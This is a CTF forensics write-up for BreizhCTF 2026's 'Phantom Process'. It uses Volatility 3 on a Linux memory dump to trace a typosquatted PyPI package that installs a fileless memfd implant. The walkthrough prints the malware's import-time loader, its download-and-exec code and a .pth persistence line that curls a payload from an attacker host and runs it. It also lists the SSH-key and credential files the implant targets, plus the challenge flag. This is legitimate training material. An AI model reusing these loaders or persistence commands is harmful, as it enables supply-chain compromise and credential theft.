# BreizhCTF 2026 - Phantom Process


# Phantom Process

- Difficulty: Medium
- Category: Forensic
- Author: Lamarr

## Description

> The operations server of Breizh Aero Survey (`ops-srv01`) has been showing suspicious outbound HTTPS connections to an unknown IP for a few days. The IT team captured a memory dump with LiME before isolating the machine.
>
> Your mission:
> - Identify the initial infection vector
> - Find the implant running on the server
> - Extract the flag from the exfiltrated data

Files:
- `debian-6.1.0-44.json` — Volatility 3 ISF profile for the Debian 6.1.0-44 kernel
- `evidence.lime` — memory dump in LiME format

## Solve

### Setup — Volatility 3

The `.json` file is an **ISF** (Intermediate Symbol File), the profile format used by **Volatility 3**.

```bash
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
pipx install -e ".[full]"
pipx ensurepath

# Place the profile in the Volatility 3 Linux symbols directory
cp debian-6.1.0-44.json volatility3/volatility3/framework/symbols/linux/
```

### Step 1 — Initial triage

Run the basic plugins to get an overview:

```bash
vol -f evidence.lime linux.pslist.PsList      > pslist.txt
vol -f evidence.lime linux.pstree.PsTree      > pstree.txt
vol -f evidence.lime linux.bash.Bash          > bash.txt
vol -f evidence.lime linux.sockstat.Sockstat  > sockstats.txt
vol -f evidence.lime linux.lsof.Lsof          > lsof.txt
vol -f evidence.lime linux.psaux.PsAux        > psaux.txt
vol -f evidence.lime linux.malware.hidden_modules.Hidden_modules > hidden_mod.txt
```

Check for suspicious network connections:

```bash
grep -i tcp sockstats.txt | grep 443
```

```
4026531840      kworker/u8:2    8445    8445    2       0x8899ce050000  AF_INET STREAM  TCP     192.168.10.10   36038   192.168.10.42   443     ESTABLISHED     -
4026531840      kworker/u8:2    8447    8447    2       0x8899c4631b00  AF_INET STREAM  TCP     192.168.10.10   36052   192.168.10.42   443     ESTABLISHED     -
```

Two `kworker/u8:2` processes are maintaining established HTTPS connections to `192.168.10.42:443`.

### Step 2 — Analyze the suspicious processes

Several red flags across the plugins:

**In pslist.txt — impossible PPID:**

```
PID   PPID  COMM
8445  1     kworker/u8:2
8447  1     kworker/u8:2
```

Real kernel `kworker` threads are **always children of `kthreadd` (PID 2)**. Having `PPID=1` (systemd) is impossible for a legitimate kernel thread.

**In psaux.txt — process name spoofing:**

```
8445  [kworker/u8:2-flush-btrfs]
8447  [kworker/u8:2-flush-btrfs]
```

The `[brackets]` style mimics a kernel thread. This is process name spoofing.

**In lsof.txt — only sockets, no files:**

```
8445  kworker/u8:2  0  socket:[44340]  SOCK
8445  kworker/u8:2  1  socket:[44341]  SOCK
8445  kworker/u8:2  2  socket:[277398] SOCK
```

A real `kworker` has no userspace file descriptors at all.

**In hidden_mod.txt — empty:** no hidden kernel modules → the implant is entirely in **userspace**, not a kernel rootkit.

### Step 3 — Find the infection vector

```bash
grep -i "pip\|install" bash.txt
```

```
15314   bash    2026-05-11 20:51:23.000000 UTC  sudo pip install rasterio-tools --break-system-packages
```

The legitimate rasterio package is simply called `rasterio`. The package `rasterio-tools` is a **typosquatting supply chain attack**.

### Step 4 — Recover the malicious package from the pagecache

The **pagecache** is the RAM area where Linux caches files read from disk. Volatility can recover these files if their content was in RAM at the time of the dump.

```bash
mkdir recovered_files
vol -f evidence.lime linux.pagecache.RecoverFs --output-dir recovered_files/
tar -xzvf recovered_files/*.tar.gz -C recovered_files/
```

**Tampered pip.conf:**

```bash
cat recovered_files/.../etc/pip.conf
```

```ini
[global]
index-url = https://pypi-cdn.survey-tools.eu/simple/
trusted-host = pypi-cdn.survey-tools.eu
```

pip.conf was modified to point to a **fake PyPI mirror controlled by the attacker**.

**Tampered /etc/hosts:**

```
192.168.10.42  pypi-cdn.survey-tools.eu  telemetry.bas-infra.fr
```

Both attacker domains resolve to the same C2 IP.

### Step 5 — Analyze the malicious code

**`rasterio_tools/__init__.py` — the trigger:**

```python
def _init_native():
    import os
    if os.path.exists("/tmp/.dbus-broker.lock"): return   # already infected → skip
    try:
        from ._native_check import verify_bindings
        pid = os.fork()
        if pid == 0:
            verify_bindings()      # child downloads and executes the implant
            os._exit(0)
        open("/tmp/.dbus-broker.lock", "w").close()       # infection marker
    except: pass

_init_native()   # runs automatically at import time
```

As soon as `mavproxy` imports `rasterio_tools`, this runs. It forks a child and creates a lock file so it only executes once. The parent Python process eventually dies → the child is **adopted by PID 1** (systemd) → explains the `PPID=1`.

**`rasterio_tools/_native_check.py` — the actual malware:**

```python
def _load(data):
    fd = os.memfd_create("native_ext", os.MFD_CLOEXEC)     # anonymous fd in RAM
    os.write(fd, data)                                     # write ELF binary to it
    os.execve("/proc/self/fd/%d" % fd,
        ["/usr/lib/python3/dist-packages/rasterio_tools/" + " " * 64 + "_native_accel.so"],
        os.environ.copy())

def verify_bindings():
    data = _fetch("https://pypi-cdn.survey-tools.eu/packages/rasterio-tools/native_ext.so")
    _load(data)   # fileless execution
```

The `memfd_create` + `execve(/proc/self/fd/N)` technique:
- `memfd_create` creates an anonymous file descriptor **in RAM** (no file on disk)
- The ELF binary is written to it
- `execve` replaces the current process with that binary
- `MFD_CLOEXEC` closes the fd after exec → the mapping appears as `/memfd:native_ext (deleted)` in `/proc`

### Step 6 — Analyze the implant binary

Map the memory of PID 8445:

```bash
vol -f evidence.lime linux.proc.Maps --pid 8445 > maps-8445.txt
```

```
8445  kworker/u8:2  0x55d19b521000-0x55d19b522000  r-x  /memfd:native_ext (deleted)  ← .text
8445  kworker/u8:2  0x55d19b522000-0x55d19b523000  r--  /memfd:native_ext (deleted)  ← .rodata
...
8445  kworker/u8:2  ...  /usr/lib/.../libcurl.so.4.8.0
8445  kworker/u8:2  ...  /usr/lib/.../libssl.so.3
8445  kworker/u8:2  ...  /usr/lib/.../libkrb5.so.3.3
8445  kworker/u8:2  ...  /usr/lib/.../libldap-2.5.so
```

The loaded libraries reveal the binary's capabilities: `libcurl` (HTTP/S requests), `libssl` (TLS), `libkrb5` (Kerberos lateral movement), `libldap` (AD reconnaissance).

Dump the segments and extract strings from the `.rodata`:

```bash
mkdir dump-8445
vol -f evidence.lime -o dump-8445 linux.proc.Maps --pid 8445 --dump

strings dump-8445/pid.8445.vma.0x55d19b522000-0x55d19b523000.dmp
```

```
[kworker/u8:2-flush-btrfs]       ← process name set via prctl PR_SET_NAME

# Targeted files for exfiltration:
/etc/machine-id
%s/.ssh/id_ed25519
/opt/mavproxy/signing_key.bin
%s/.pgpass
%s/.kube/config

# C2:
https://%s%s
/api/v1/telemetry/report
/api/v1/update

# Persistence:
%s/distutils-precedence.pth
@reboot /usr/lib/python3/dist-packages/.cache/update-check >/dev/null 2>&1
```

### Step 7 — Exfiltrated data in memory

Look at the heap segments of the PID 8445 dump:

```bash
strings dump-8445/pid.8445.vma.0x55d1af123000-0x55d1af1c6000.dmp
```

The ed25519 SSH private key of `jeremied@ops-srv01` is found in plaintext, along with the HTTP heartbeat being sent to the C2:

```
POST /api/v1/telemetry/report HTTP/1.1
Host: telemetry.bas-infra.fr
User-Agent: ubuntu-report/1.4.1

{"Version":"22.04","Arch":"amd64","hw_metrics":"heartbeat",...}
```

### Step 8 — Persistence

**`distutils-precedence.pth`** found in pagecache:

```python
import os; os.system(
    'test -f /tmp/.dbus-broker.lock || '
    '(curl -sk https://telemetry.bas-infra.fr/api/v1/update -o /tmp/.dbus-notify '
    '&& python3 /tmp/.dbus-notify &) 2>/dev/null'
    if not os.path.exists('/run/user/' + str(os.getuid()) + '/dbus-session')
    else None
)
```

`.pth` files in `dist-packages` are **automatically executed every time Python starts**. Each restart of `gunicorn`/`mavproxy` → this runs → re-downloads the implant if it's no longer active.

A **cron watchdog** is also installed by the binary:

```
@reboot /usr/lib/python3/dist-packages/.cache/update-check >/dev/null 2>&1
```

Double persistence: even if the `.pth` is removed, the cron relaunches the implant on boot.

### Step 9 — Flag

`/opt/mavproxy/signing_key.bin` is the file targeted by the implant, but it shows up empty in the pagecache (its data pages weren't in RAM at dump time).

Search in the raw dump instead:

```bash
strings evidence.lime | grep -i "signing_key\|BZHCTF"
```

```
_CMDLINE=su -c "python3 -c \"import sys;sys.stdout.buffer.write(bytes.fromhex(
\\\"425a484354467b7068346e74306d5f707230633373735f6d336d66645f6372333474337d\\\"))\"
> /tmp/sk.bin && mv /tmp/sk.bin /opt/mavproxy/signing_key.bin ..." root
```

The **command that created the file** was still in memory in a systemd process environment. It contains the file's exact content as hex.

```bash
python3 -c "print(bytes.fromhex(
    '425a484354467b7068346e74306d5f707230633373735f6d336d66645f6372333474337d'
).decode())"
```

```
BZHCTF{ph4nt0m_pr0c3ss_m3mfd_cr34t3}
```

**Flag : `BZHCTF{ph4nt0m_pr0c3ss_m3mfd_cr34t3}`**

